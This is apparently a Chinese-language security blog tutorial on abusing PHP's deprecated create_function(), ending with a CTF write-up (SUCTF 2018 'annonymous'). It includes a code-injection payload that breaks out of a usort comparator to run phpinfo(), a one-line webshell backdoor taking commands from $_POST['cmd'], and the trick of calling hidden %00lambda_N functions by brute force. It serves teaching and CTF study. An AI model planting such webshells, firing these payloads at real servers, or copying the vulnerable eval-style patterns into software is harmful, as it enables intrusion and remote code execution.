create_function()漏洞利用

什么是 create_function()

create_function() 是 PHP 早期提供的一个用来创建匿名函数的函数:

复制代码
$func = create_function('$a,$b', 'return $a + $b;');
echo $func(1, 2); // 输出 3

第一个参数是函数的参数列表(字符串形式),第二个参数是函数体(也是字符串)。

也就是说:它会把字符串当作代码执行!

从 PHP 7.2 开始,这个函数已经被废弃,因为太容易被滥用了

举个危险的例子

复制代码
$input = $_GET['code'];
$func = create_function('$x', "return $input;");
echo $func(0);

如果用户访问:

复制代码
example.php?code=phpinfo()

代码就会变成:

复制代码
$func = create_function('$x', "return phpinfo();");

然后服务器就会执行 phpinfo()造成信息泄露

注入

复制代码
<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

复制代码
?sort_by=%27%22]);}phpinfo();/*

首先传参后会变成:

复制代码
$sort_function = ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);';

然后将这个放入create_function:

复制代码
create_function('$a, $b', ' return 1 * strnatcasecmp($a["'"]);}phpinfo();/*"], $b["'"]);}phpinfo();/*"]);');

这里就会生成一个这样的函数:

复制代码
function($a, $b) {
    return 1 * strnatcasecmp(
        $a["'"] //  合法访问数组(虽然没啥意义)
    );       //  闭合 return 调用
    }        //  闭合函数体结构
    phpinfo(); //  恶意代码执行
    /*"], $b["'"]);}phpinfo();/*"]); //  这些变成注释,避免语法错误
}

后门

大家经常忽略一点,就是creation_function也是可以用来构造一句话木马的后门的(说实话高版本creation_function都被废弃了,忽略也不是毫无道理的)

复制代码
<?php $func =create_function('',$_POST['cmd']);$func();?>

将这个写入php文件就可以当后门使用,等价于eval

那么问题来了,为什么会等价呢

先来看 **create_function()**的定义

create_function() 的定义如下(PHP 官方解释):

复制代码
create_function(string $args, string $code): Closure

这个函数的作用是:动态创建一个匿名函数 ,参数列表是 $args,函数体是 $code,并返回这个匿名函数的句柄。

它是怎么"动态创建"的呢?

从 PHP 源码和官方文档的解释来看,**create_function()**的内部实现就是用 **eval()**把代码构造出来然后执行的

比如:

复制代码
$func = create_function('$a, $b', 'return $a + $b;');

等价于:

复制代码
$func = eval('return function($a, $b) { return $a + $b; };');

所以本质上它会动态生成一个 function (...) { ... } 的结构,然后 eval 掉。

接下来才是今天的重点

create_function创建"匿名"函数

各位师傅可能看到这个引号就明白这里创建的匿名函数一定不是真匿名的

使用create_function()创建"匿名"函数 - OSCHINA - 中文开源技术交流社区

这里推荐一篇文章

总结一下就是create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999],后面的数字会逐步递增

因为create_function是返回函数名称的,函数返回一个唯一的字符串函数名, 出现错误的话则返回FALSE。

这么说这个函数也只是动态的创建了一个函数,而这个函数是有函数名的,也就是说,其实这并不是匿名的。 只是创建了一个全局唯一的函数而已。

所以接下来就来看看这道例题

[SUCTF 2018]annonymous

复制代码
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();

show_source(__FILE__);

源码小小一段,但是短小精悍

简单来说就是 用create_function创造了一个匿名函数会输出flag

接着openssl_random_pseudo_bytes(32)生成一个随机数,然后将其转成了十六进制,将其赋值给$hash

接着SUCTF_和hash拼接成一个新的函数名,函数会执行上面构造的匿名函数

下面的func_name可以传一个函数进去并执行

那么就可以利用匿名函数的漏洞解出flag,只要拿bp爆一下%00lambda_[0-999]后面的数字就好了

相关推荐
MoloXuanhe8 分钟前
[TryHackMe]Wordpress: CVE-2021-29447(wp漏洞利用-SSRF+WpGetShell)
运维·网络·安全·tryhackme·thm
wanhengidc21 分钟前
网页版的云手机都有哪些优势?
运维·网络·安全·游戏·智能手机
czijin3 小时前
【论文阅读】Security of Language Models for Code: A Systematic Literature Review
论文阅读·人工智能·安全·语言模型·软件工程
2501_915921433 小时前
iOS混淆工具实战 在线教育直播类 App 的课程与互动安全防护
android·安全·ios·小程序·uni-app·iphone·webview
monster_风铃4 小时前
小补充: IPv6 安全RA
网络·安全·智能路由器
黄焖鸡能干四碗4 小时前
信息系统安全保护措施文件方案
大数据·开发语言·人工智能·web安全·制造
运维开发王义杰4 小时前
信息安全:代码质量双雄对决,SonarQube 与 Codacy,传统巨擘与云原生新贵的深度剖析
安全·云原生
塔子终结者5 小时前
网络安全A模块专项练习任务十解析
java·服务器·网络安全
2301_780789666 小时前
渗透测试与网络安全审计的关系
网络·数据库·安全·web安全·网络安全
王火火(DDoS CC防护)7 小时前
服务器IP暴露被攻击了怎么办?
服务器·网络安全·ddos攻击